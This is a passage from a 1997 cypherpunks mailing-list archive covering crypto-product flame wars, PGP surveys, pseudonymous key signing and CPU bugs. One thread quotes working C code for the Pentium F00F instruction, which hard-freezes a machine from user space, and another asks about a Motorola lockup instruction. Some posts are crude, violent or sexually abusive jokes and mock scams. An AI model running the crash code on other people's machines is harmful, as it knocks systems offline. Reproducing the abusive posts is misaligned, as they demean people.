later in life by turning in their spouse's parents to John Law.
  Can't get that promotion at the bank because the position requires 
an MBA? Ratting out your customers (guilty or not--and *you* are 
keeping the books) can get you valuable college credits.

>          Keely, a former New York City police commissioner,
>          warned that money laudering was corroding financial
>          institutions.

   ...but failed to mention if there was a 'down-side' as well.

>          ``It is the source and the product of a burgeoning
>          global parallel trading system that serves the emerging
>          criminal holding companies,'' he told the bankers and
>          lawyers.

  Which provides funding for a large number of secret government
agencies. 

>          The banking industry complained it had to file 12
>          million such reports in 1996, a time consuming and
>          costly activity.

  The alternative is to risk being indicted as a co-conspirator in your
customer's crimes.
  That reminds me...I bought a glass of lemonade from a neighborhood
kid's sidewalk stand today. I'd better go rat her out to the Treasury
Department and the DEA, so that when they show up on my doorstep they
will have a T-shirt for me, instead of handcuffs.

RatMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Crypto Czar International <cci@dev.null>
Date: Sun, 9 Nov 1997 13:11:41 +0800
To: "Attila T. Hun" <attila@primenet.com>
Subject: Unbreakable Crypto Challenge!!!
In-Reply-To: <19971108.120158.attila@hun.org>
Message-ID: <346544D9.254F@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



CCI:
   CRYPTO CZAR INTERNATIONAL ANNOUNCES UNBREAKABLE CRYPTO CHALLENGE
   ----------------------------------------------------------------

Crypto Czar International would like to announce the development of the
fastest and most secure encryption product on the market today.
We plan to develop this product early next week, as our employee has 
already finished the first two chapters of 'Applied Cryptography.'

We are so confident of our future product that we are challenging
MagNuts, Micro$oft, Nut$crape and everyone else to break it. We are
willing to pay out a $10,000,0000 prize to anyone willing to give us a 
$1,000 good-faith deposit, which will be returned upon completion of our
open-ended Crypto Challenge.

Please send ten copies of this to your friends and to your business
associates.

  The address to send the good-faith deposit to:
	Crypto Czar International
	c/o Electronic Fraud Foundation
	Box 281,
	Bienfait, Saskatchewan
		CANADA  S0C 0M0





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Thompson <stevet@myofb.org>
Date: Sun, 9 Nov 1997 12:34:51 +0800
To: cypherpunks@toad.com
Subject: Re: Return of the Living Zundel, from The Netly News
In-Reply-To: <878931021v03007803b089126cf351@[168.161.105.141]>
Message-ID: <199711090423.XAA01025@bofh.internal.net>
MIME-Version: 1.0
Content-Type: text/plain



In local.lists.cypherpunks-moderated you write:
>http://cgi.pathfinder.com/netly/editorial/0,1012,1561,00.html
>The Netly News Network (http://netlynews.com/)
>        "A lot of people think this case is about censoring the Net,"
>   said Bernie Farber, national director of community relations for the
>   Canadian Jewish Congress. "It isn't. It's about a Canadian violating
>   Canadian law. In Canada and in every other Western democracy but the
>   U.S., there are limits to free speech and one of those points is
>   vilification. I should feel I have as much right to get on the Net and
>   not feel demeaned because I'm a part of a particular group."

I took a short 'course' on hate-crimes in downtown Toronto where this goof was
the speaker.  In very short order, I had decided that his agenda was merely to
be in some small position of authority.  He's a pro-censorship freak who wants
to protect the chiiillldreeeen from views he doesn't like.  It was quite
amusing to pin him down a little -- he squirmed and stated that he _did_ want
the government to protect him from things he didn't want to hear; in a rather
shrill tone.  It made me laugh in retrospect but at the time I was, I confess,
shocked -- having encountered such idiocy only in print or on USENET.

I wish that I had been better at articulating my thoughts during some of the
discussions during the 'course'.  It was difficult to portray the idea that
well-supported arguements are the only _fair_ means to debunk someone else's
ideas with which you disagree.  I suppose that I should not have been suprised
that the other participants in the course were sympathetic to Bernie's
right-wing leanings, but there was a woman who owned or ran a feminist
bookstore who admitted that many books ordered by her store had been held (or
outright banned(?) by Canada Customs based on content; and yet, she was
more-or-less in agreement with this proto-tyrant with respect to the issue of
supressing the ideas of white supremists.

It boggles the mind.

-- 
Steve Thompson  Misanthrope  System Admin        O.B. Spam: bogus@myofb.org
---------------------------------------------------------------------------
Lately every time you turn around somebody's saying: "The eighties are
coming!"  Like at the stroke of midnite on New Year's Eve it's all gonna be
_different_!  And when you tell 'em, "Come on, you know everything's just
gonna keep on slowly sinking," they get downright _mad_!  -- Lester Bangs,
December 1979





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: VME Encryption <matrix@meganet.com>
Date: Sun, 9 Nov 1997 15:39:06 +0800
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Some IDIOT called CRYPTO CZAR INTERNATIONAL
Message-ID: <3.0.32.19971108233246.006dc0b0@ibcnet.com>
MIME-Version: 1.0
Content-Type: text/plain



Please forward to this coward that have no balls to put his real email
address on his emails (I using you guys as he put CC to you guys in his
letter, but by no means does this reffer to you).

Dear CRYPTO CZAR INTERNATIONAL Idiot,

usually we ignore people at your level, but we'll try our best for you, as
it might be just temorary insanity.

1) The million dollars challenge have ended at May 15,1997. The current
challenge have NO monetary prize.
2) VME flowchart, algorithms and the VME application itself is already in
the hands of the large 250 sotware corporations for evaluation. If any of
them will prove otherwise, then you might be able to jump and make an idiot
of yourself as you did now.
3) We beleive they might like what they saw, as we currently have them
lined up to license the technology.
4) Try to keep your pathetic self away from the court room, as next time
around you will face legal steps for alleging "fraud".

Maybe you really should try and develop some future encryption algorithm
instead of mumbling with envy showing your stupidity and ignorance, But on
the other hand you're probably not capable of - you're too narrow minded
and busy sticking your long nose where it does not belong.

Do us and you a favour, keep yourself in your pathetic hole and shut your
mouth up.

Thanks and worst regards,

(we won't bother putting our name on the same email with your name).

At 11:06 PM 11/8/97 -0600, you wrote:
>CCI:
>   CRYPTO CZAR INTERNATIONAL ANNOUNCES UNBREAKABLE CRYPTO CHALLENGE
>   ----------------------------------------------------------------
>
>Crypto Czar International would like to announce the development of the
>fastest and most secure encryption product on the market today.
>We plan to develop this product early next week, as our employee has 
>already finished the first two chapters of 'Applied Cryptography.'
>
>We are so confident of our future product that we are challenging
>MagNuts, Micro$oft, Nut$crape and everyone else to break it. We are
>willing to pay out a $10,000,0000 prize to anyone willing to give us a 
>$1,000 good-faith deposit, which will be returned upon completion of our
>open-ended Crypto Challenge.
>
>Please send ten copies of this to your friends and to your business
>associates.
>
>  The address to send the good-faith deposit to:
>	Crypto Czar International
>	c/o Electronic Fraud Foundation
>	Box 281,
>	Bienfait, Saskatchewan
>		CANADA  S0C 0M0
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 9 Nov 1997 06:47:55 +0800
To: cypherpunks@toad.com
Subject: Mixed Messages / Re: F00FC7C8 Kills P5 AND Re: Major security flaw in Cybercash 2.1.2 (fwd)
Message-ID: <199711082233.XAA11819@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Eric Cordian wrote:
> In comp.sys.intel, the keeper of the Intel Secrets Website,
> rcollins@slip.net (Robert Collins) writes this absolutely amazing
> paragraph:
> > If nobody knew about this problem, nobody would be affected
> > by it.  
> > No, I had no desire to publicize the bug.

> Egads.  Talk about "Security by Obscurity"!

Robert Hettinga wrote:
> Subject: Major security flaw in Cybercash 2.1.2 (fwd)

> CyberCash v. 2.1.2 has a major security flaw that causes all credit
> card information processed by the server to be logged in a file with
> world-readable permissions.  This security flaw exists in the default
> CyberCash installation and configuration.

We at the Electronic Fraud Foundation also have no desire for these
bugs to be publicized. We're making a goddamn fortune off of them.
(Damn near as much as we're making off of our remailer-donation scam.)

Ura Fishpal,
Flounder,
Electronic Fraud Foundation
[Note: You are required by Federal Law to pay me one dollar for reading
      this post. Send $1 to EFF, Box 281, Bienfait, Sask. Canada S0C
0M0]

[Note From Your System Administrator: Failure to comply with the above
    will result in loss of your access privileges and a hernia.]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 9 Nov 1997 07:11:08 +0800
To: cypherpunks@toad.com
Subject: Re: Content controls
Message-ID: <199711082301.AAA15413@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
> Someone typing with gloves on wrote:
> >by analogy, if you're going to wear a ski mask into a
> >jewelry store, you aren't likely to be shown the expensive stuff

Sounds like the voice of experience.

> Once you have given me the keys to unlock and display the data I can save
> it, copy it, reproduce it and distribut it. 

> As far as the anonymous purchaces, no a big deal. Wan Sin Soo pays the
> full $$$ amount decrypts the data, copies it and send it too his buddies
> in Bangledesh. Next week there is a million copies of your data floating
> around the Far-East and Wan Sin Soo is nowhere to be found. The fact that
> he bought it non-anonymously is of little relevance.

I have found WGMicro$oft.com to be much faster than the original web
site
as well as having much better prices. e.g. - $9.95 for Win95.
As well, access to the CIA Internal Search Engine ("The Search Engine
that Searches Back!") is just one of the many nice touches to be found
on pirate sites.

A.B. User
"It's not free until the *judge and jury* say it's free."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 9 Nov 1997 13:51:08 +0800
To: cypherpunks@toad.com
Subject: Rape as Performance Art
Message-ID: <590d547aee74823c9eb0b34c295dbc5a@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



I can sympathize with the demonstrators that the Humboldt Sheriff's
Department sprayed with pepper spray during their sit-in/protest.
The police have done the same thing to me during the closing scenes
of my performance art, as I climb out of the performance victim's
window and try to make a run for it.
I have found that judges are seldom impressed with a plea of, "Everyone
wants to be a critic!"

Art Lover
(aka 'SouthSide Slasher')
"It's not art until *I* have slashed it with a razor."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Sun, 9 Nov 1997 08:33:18 +0800
To: iang@systemics.com (Ian Grigg)
Subject: Re: [SURVEY try again] pgp5.x / pgp2.x users
In-Reply-To: <3463E8AC.3F54BC7E@systemics.com>
Message-ID: <m0xUKDq-0003bQC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



> > 20 % of the users who have posted digitally signed messages that are
> >  available in my news spool (international and local newsgroups and
> >  mailing lists) use PGP 5.  The sample contains 545 unique e-mail
> >  addresses.  YMMV.
> 
> These are very interesting results.  One question: what are the groups
> about?  Are they close in to PGP topics or far away?

A number of them are crypto related, including the OpenPGP and a
German PGP users' mailing list.  Perhaps someone with access to a
large newsserver could grep for PGP signatures on the rec.* hierarchy?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 9 Nov 1997 18:04:44 +0800
To: VME Encryption <matrix@meganet.com>
Subject: Re: Some IDIOT called CRYPTO CZAR INTERNATIONAL
In-Reply-To: <3.0.32.19971108233246.006dc0b0@ibcnet.com>
Message-ID: <199711091000.FAA21529@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.32.19971108233246.006dc0b0@ibcnet.com>, on 11/08/97 
   at 11:32 PM, VME Encryption <matrix@meganet.com> said:

>4) Try to keep your pathetic self away from the court room, as next time
>around you will face legal steps for alleging "fraud".

OH NO!! Anything but that!!! I wouldn't send the lawyers after my worst
enemy, a bullet to the back of the head is much more humane!

I can only hope this is another post by the EFF (Electronic Fraud
Foundation) of course the poster could really be this clueless. If this is
the case, for the paltry sum of $100,000 I can set you up with a "CLUE
SERVER" and at no added charge I will teach you how to make use of digital
signature for message authentication.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNGWJTI9Co1n+aLhhAQFpOAP+MaRm5NKRWd+jcL/rZq12yhYeoSTfS395
9z6MFlpoRqIRTaatHoUNty/KvzejCm3kI0K2rShFQb/sDAIskNLOx6xaTVIRJK0s
iZlIswtAsW5zb3sEJRYqbwd/6x5UipdsE6MHXKSNwmj20RWxrK+nz3Pfmu/wBa58
EUCyhOkLyF4=
=WBQM
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 9 Nov 1997 11:13:38 +0800
To: cypherpunks@toad.com
Subject: Re: [SURVEY try again] pgp5.x / pgp2.x users
Message-ID: <199711090303.EAA18301@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert A. Costner wrote:
> Just to skew the numbers, I for instance have PGP 5.0 but am using a 2.6.2
> DOS generated key that is RSA, not DSS.  Grepping would show me to be PGP5.x,
> which perhaps technically I am, but my key is really 2.x
> 
> -----BEGIN PGP SIGNATURE-----
> Version: PGP for Personal Privacy 5.0

This information is mostly for advertising/accreditation purposes.
As such, it provides very little information useful for statistical
purposes. e.g. - whether people are using PGP 5.X mostly for management
of their PGP 2.6.X keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Sun, 9 Nov 1997 13:04:43 +0800
To: cypherpunks@cyberpass.net
Subject: Sloppy Chips from Intel
Message-ID: <19971109050004.11002.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



>The possiblities are truly mind-boggling.  Perhaps exploits like tapping
>Aldrich Ames' PC and crashing Saddam Husseins' PCs en masse were not done
>by black bag jobs and viri, but by the activation of "National Security"
>backdoors present in all complex modern microprocessors.

Of course a conspiracy theorist might guess that this "new bug" is really a
result of somebody hitting some "national security opcode" and we just
happened to hit one of the more benign "bugs". I think you alluded to this.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 9 Nov 1997 13:55:47 +0800
To: cypherpunks@toad.com
Subject: Re: Return of the Living Zundel, from The Netly News
Message-ID: <199711090544.GAA04712@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Thompson wrote:
> In local.lists.cypherpunks-moderated you write:
> >http://cgi.pathfinder.com/netly/editorial/0,1012,1561,00.html
> >The Netly News Network (http://netlynews.com/)
> >        "A lot of people think this case is about censoring the Net,"
> >   said Bernie Farber, national director of community relations for the
> >   Canadian Jewish Congress. "It isn't. It's about a Canadian violating
> >   Canadian law. In Canada and in every other Western democracy but the
> >   U.S., there are limits to free speech and one of those points is
> >   vilification.

> I took a short 'course' on hate-crimes in downtown Toronto where this goof was
> the speaker.  In very short order, I had decided that his agenda was merely to
> be in some small position of authority.  He's a pro-censorship freak who wants
> to protect the chiiillldreeeen from views he doesn't like.  It was quite
> amusing to pin him down a little -- he squirmed and stated that he _did_ want
> the government to protect him from things he didn't want to hear; in a rather
> shrill tone.  It made me laugh in retrospect but at the time I was, I confess,
> shocked -- having encountered such idiocy only in print or on USENET.

  After the government has finished arming park rangers, as well as all
federal daycare workers and filing clerks, I suppose they will begin
giving
surplus military weapons to USENET censors, and the like, and deputizing
them so that they can legally enforce their own narrow views.
 
> It boggles the mind.

  Hey! Watch your language, pal. You can't say 'boggles' on a family
list!

BogglesMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 9 Nov 1997 20:11:18 +0800
To: cypherpunks@toad.com
Subject: [URGENT] ZKP
Message-ID: <7052fc4fb6f7b91316495c4daba58576@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim C. Maypole, a product of anal birth, appeared with a coathanger 
through his head.

         (_) _____ (_)
            /O   O\   Tim C. Maypole
           !   I   !
           ! \___/ !
            \_____/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 9 Nov 1997 17:17:20 +0800
To: cypherpunks@toad.com
Subject: Re: Some IDIOT called CRYPTO CZAR INTERNATIONAL
Message-ID: <199711090908.KAA22793@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




VME Encryption wrote:
> Please forward to this coward that have no balls to put his real email
> address on his emails (I using you guys as he put CC to you guys in his
> letter, but by no means does this reffer to you).

  Obviously, no one has informed the night janitor at VME that regular
list subscribers generally just put Toto's email address in replies to
particularly cowardly and/or stupid anonymous posts, since we then have
a 90% chance of having sent it to the right person.

  As an act of mercy toward Toto, I will personally correct the spelling
and grammar in the night-janitor's post and forward it to the madman
at 'Che(z) Sympatico.'

> Dear CRYPTO CZAR INTERNATIONAL Idiot,
> 1) The million dollars challenge have ended at May 15,1997. The current
> challenge have NO monetary prize.
...
> 4) Try to keep your pathetic self away from the court room, as next time
> around you will face legal steps for alleging "fraud".

  According to a claim by TruthMonger, Dr. Vulis found the backdoor in 
VME's encryption program, and the test message contained a plea for
donations from the Georgia Cracker remailer operators.
  I was originally skeptical about this claim, until sources at C2Nut
confirmed it.

Sincerely,
Ura Fishpal,
  Flounder and Comptroller
  Electronic Fraud Foundation





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <rich@paranoid.org>
Date: Mon, 10 Nov 1997 03:01:10 +0800
To: cypherpunks@Algebra.COM
Subject: Re: WARNING: Serious Pentium Bug
In-Reply-To: <199711091525.JAA10950@dfw-ix16.ix.netcom.com>
Message-ID: <Pine.LNX.3.95.971109105027.11688B-100000@highly.paranoid.org>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 8 Nov 1997, Neva Remailer wrote:

[snip]
> This didn't crash my Pentium.  Hoax?

I wish.  It drops the P120 I tested it on like a rock, when executed
from a normal user account in Linux.  This does not crash the PPro or PII
-- my PII just dumps core.

There's been an article on this at CNet, for one, and a lot of discussion
on Bugtraq and comp.sys.intel.  If this is a hoax, a lot of pretty smart
people have been fished in.


Rich

---
Rich Burroughs  rich@paranoid.org
PGP Key Fingerprint = 22 BA C5 D7 2C 34 BF 8E  B5 82 2E 13 46 38 AA 1D
Cracking RC5-64 for Kevin Mitnick  http://www.paranoid.org/mitnick/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 10 Nov 1997 07:01:58 +0800
To: cypherpunks@Algebra.COM
Subject: Re: cute.
In-Reply-To: <19971101145349.14850@ultra7.umr.edu>
Message-ID: <3.0.3.32.19971109131752.0068c468@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>What's the point in distribuing your public key through the same
>>channels as a signature? Kinda defeats the purpose. Esp since I can't
>>verify that the given public key is indeed yours, since you're anonymous.

As Robert and Tim point out, the important issue is that
you can tell that a posting claiming to be from "Amad3us"
is or is not by the same set of authors as the previous
articles by the pseudonym "Amad3us".  This allows authors
to create and defend "reputation capital", and allows readers
to use the pseudonym to help evaluate their postings
and read them in the context of the previous postings by that nym,
regardless of which human body (or bodies) and True Name/s may
be attached to the author.

Without the signatures, the posting may be by an imposter
trying to take advantage of the positive reputation of a nym,
or trying to discredit the nym's reputation by bad postings,
or just having a Good Time with a hoax.  Most of the pseudonymous
posters on Cypherpunks, and for that matter many of the
Probably True Name posters, don't sign most of their postings,
and we don't have a lot of forgeries, but every once in a while
somebody will do a lot of forgery, or will target an individual,
and you can know that any _signed_ posting is from someone
who holds the keys used to sign previous postings with those keys.

In the Name=Key=Body model of the world, somebody can get
other people to verify their identity and sign for it;
if you're a pseudonym, your only choices are to reveal and 
demonstrate your identity to someone who can sign your keys,
or to just publish the keys early on and use them as needed.
In particular, if you publish the key with your first posting,
then you can demonstrate later that you're the poster who
used that name.  Thus, Checkered Daemon announced his nym with
a key, and since I could find no other record of use of that name,
I was willing to sign that key 0x50EC521D as his (I do use
a separate key for signing nyms; I've signed them for a few other
people such as Black Unicorn, some of whom I've since met in person.)
You can also get similar results by posting your key fingerprint
in your messages and sending the key to a keyserver, and it's
a bit more compact, but for a first posting using a nym
it's worthwhile to include the key.

In Amad3us's case, I've only seen the posting referring to his original,
and not the original itself, and it was garbled enough that
I couldn't add the key to my keyring.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Mon, 10 Nov 1997 03:41:03 +0800
To: cypherpunks@cyberpass.net
Subject: Motorola Boo-Boo
Message-ID: <199711091934.NAA18005@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



In the discussion of the Intel F00FC7C8 problem, it was alleged that
the instruction "unlk a7" will lock up a Motorola 68040 CPU even from
user mode. 

Would someone care to test this on an old MAC?

Is anyone aware of non-privileged instructions which kill other popular
CPUs, like Alphas, SPARCS, and MIPS?

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 12 Nov 1997 02:30:04 +0800
To: VME Encryption <matrix@meganet.com>
Subject: Re: Some IDIOT called CRYPTO CZAR INTERNATIONAL
In-Reply-To: <3.0.32.19971108233246.006dc0b0@ibcnet.com>
Message-ID: <Pine.LNX.3.91.971109133212.1603A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> usually we ignore people at your level, but we'll try our best for you, as
> it might be just temorary insanity.

Anyone have the same suspicions as me as to who is marketing VME, I`ll 
guess trh same guy (his name escapes me for now) who spent a few weeks on 
the list earlier this year touting his unbreakable encryption scheme 
based on LCSRs.

> 2) VME flowchart, algorithms and the VME application itself is already in
> the hands of the large 250 sotware corporations for evaluation. If any of
> them will prove otherwise, then you might be able to jump and make an idiot
> of yourself as you did now.

Have they actually confirmed they are analyzing it, or have you just sent 
them the information.

> 4) Try to keep your pathetic self away from the court room, as next time
> around you will face legal steps for alleging "fraud".

I`ll make you an offer, sue me for alleging fraud, I say you are a 
fraudulent cocksucker, and the email address on this is genuine, and I 
will, if you wish, allege fraud in a PGP signed mail. 

Ps. Are you fucking the guy who wrote the CMR code for PGP up the ass, or 
does your crypto experience not stretch even that far.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 10 Nov 1997 04:19:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: WARNING: Serious Pentium Bug
In-Reply-To: <199711091855.TAA23477@basement.replay.com>
Message-ID: <199711092010.PAA27370@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711091855.TAA23477@basement.replay.com>, on 11/09/97 
   at 07:55 PM, Anonymous <nobody@replay.com> said:

>>Anonymous <anon@anon.efga.org> wrote:
>>>There is a SERIOUS bug in all pentium CPUs. The following
>>>code will crash any machine running on a pentium CPU, MMX or no
>>>MMX, any speed, regardless of OS (crash as in instant seize, hard
>>>reboot the only cure):
>>>
>>>char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
>>>
>>>main ()
>>>{
>>>       void (*f)() = x;
>>>       f();
>>>}
>>>
>>>This require no special permissions to run, it works fine with
>>>average-joe-userspace permissions. I have verified this, it works.
>>>Demand a new CPU from Intel.
>>
>>This didn't crash my Pentium.  Hoax?

>Absolutely not. It crashed mine and is a major bug. It doesn't seem to
>affect the PPro, though, and not the P2 due to its relation to the PPro.
>It might be fixed in later Pentiums, which begs the question of why Intel
>didn't issue a recall back then. Supposidly they were informed about it
>months ago.

For the same reason Intel does nothing about any of thier bugs: they are
assholes. The only way any of these type of things are ever addressed is
by enough users putting pressure on Intel to fix their fuckups. (Really
slopy not testing the microcode)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNGYYLI9Co1n+aLhhAQGLwQQAwDfA4nDXuz+4cgssUCoGWmjDf0wauWf8
+ZxSiqQTPHoNbu73HMKYCUw0ieALwOXr/7FRNl6RnfTdQM6RnJ8PV5Z93psptM35
Ww45IUchuyC8C1IrPPRbMLgIBXi0Ey0E67IlrL24GUp2PgcAurhdeENGoKi3/sPA
tlO63XZaFms=
=WP0X
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: RealPlayer News <announce@dmail1.real-net.net>
Date: Mon, 10 Nov 1997 06:27:10 +0800
To: cypherpunks@cyberpass.net
Subject: FREE Downloads on the new RealPlayer 5.0; FREE November Music Madness for RealPlayer Plus users
Message-ID: <199711092208.OAA30968@dmail1.real-net.net>
MIME-Version: 1.0
Content-Type: text/plain



RealPlayer just got BETTER and it's FREE

Dear RealPlayer User,

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version of RealPlayer 5.0 has just been released.
The great quality audio you already enjoy in the
RealPlayer has gotten even BETTER!  The video is
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RealFlash animations and near-CD voice quality at
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You can upgrade free to the RealPlayer version
5.0 right now simply by visiting:

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And there's new content to enjoy at the touch of
a button.  Whether you want music and videos, or
business programming, you can get there faster through
new Destinations choices.  Like we said, it's all FREE.
Download it now!

We've also released a new version of    /---------------------\
RealPlayer Plus, which ENHANCES the     | November Music      |
RealPlayer, giving you the BEST-QUALITY | Madness by Capitol  |
RealAudio, RealVideo, and RealFlash.    | Records. Hot music  |
                                        | by cool artists,    |
RealPlayer Plus delivers these          | only for RealPlayer |
great benefits:                         | Plus users. Visit   |
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- The Best-Quality Live and On-demand   | the complete artist |
  RealAudio, RealVideo, and RealFlash   | list and more info. |
- Scan for Live Audio and Video Sites   \---------------------/
- Presets for Your Favorite Content
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Maria Cantwell
Sr. Vice President
RealNetworks, Inc.


---------------------------------------------
 For information about this e-mail including
 how to subscribe to or unsubscribe from
 future announcements, please visit:
 http://www.real.com/mailinglist/index.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Donald E. Eastlake 3rd" <dee@cybercash.com>
Date: Mon, 10 Nov 1997 03:16:07 +0800
To: cryptography@c2.net
Subject: Re: Freeware SET?
In-Reply-To: <v03110701b08a31e6dc15@[139.167.130.246]>
Message-ID: <Pine.SUN.3.91.971109140648.27693D-100000@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



The SET reference implementation was written only with a concern for protocol
correctness and essentially no concern for operational usability.  It is not
clear to me that a product could be based on it without a lot of additonal
work.  But I suppose it might be useful for hacking... 


Donald

On Sat, 8 Nov 1997, Robert Hettinga wrote: 

> Date: Sat, 8 Nov 1997 10:12:49 -0500
> From: Robert Hettinga <rah@shipwright.com>
> 
> 
> Date: Sat, 8 Nov 1997 04:49:34 +0100 (CET)
> From: Lucky Green <shamrock@cypherpunks.to>
> To: cypherpunks-announce@toad.com, cypherpunks@algebra.com,
>         cryptography@c2.net, andrada@earthlink.net, andrea.liles@nike.com
> Subject: Bay Area Cypherpunks meeting announcement
> Sender: owner-cypherpunks@cyberpass.net
> Reply-To: Lucky Green <shamrock@cypherpunks.to>
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> Tomorrow's Bay Area Cypherpunks meeting will be held at the offices of
> C2Net Software in Oakland.
> 
> Agenda:
> o Andrea Liles will present some cool new ideas about virtual CA's.
> 
> o Lucky Green will demonstrate the Dumb Mouse, a universal chipcard
> reader, and associated analysis/manipulation software. If you are at all
> interested in smartcards, especially smartcards for crypto and
> authentication purposes, you don't want to miss this one. If there aren't
> too many attendees, we will host a workshop. Attendees are encouraged to
> bring any smartcards in their possession and discover what is /really/
> happening on the card. The Cypherpunks Smartcard Developers Association
> will accept smartcard donations after the workshop.
> 
> o Cypherpunks Tonga will announce the release of BSAFEeay, a BSAFE 3.0 API
> compatible crypto library based on SSLeay.
> 
> o Cypherpunks Tonga will then combine BSAFEeay with the freeware SETref
> (which requires BSAFE for the underlying crypto) and demonstrate the first
> ever globally available *freeware* SET solution.
> 
> Location:
> C2Net Software
> 1440 Broadway
> 7th Floor
> Oakland, CA
> 
> Date/time:
> Saturday, 11/8, noon
> 
> Directions:
> By BART:
> Exit the system at 12th Street Oakland. Walk north on Broadway one block.
> 1440 is on the right side of the street.
> 
> By car:
> http://www.mapquest.com/
> Choose "Trip Quest" from the menu.
> 
> - -- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
>    "Tonga? Where the hell is Tonga? They have Cypherpunks there?"
> 
> -----BEGIN PGP SIGNATURE-----
> Version: PGP 5.0i
> Charset: noconv
> 
> iQA/AwUBNGPhYvXUPTw3WtkkEQKztACeIQwx4voyUVIP6u1HmosCWklX7osAnROD
> TTJn3K2jCIrKUQtOc5Z3oW1P
> =byR/
> -----END PGP SIGNATURE-----
> 
> --- end forwarded text
> 
> 
> 
> -----------------
> Robert Hettinga (rah@shipwright.com), Philodox
> e$, 44 Farquhar Street, Boston, MA 02131 USA
> "... however it may deserve respect for its usefulness and antiquity,
> [predicting the end of the world] has not been found agreeable to
> experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
> The e$ Home Page: http://www.shipwright.com/
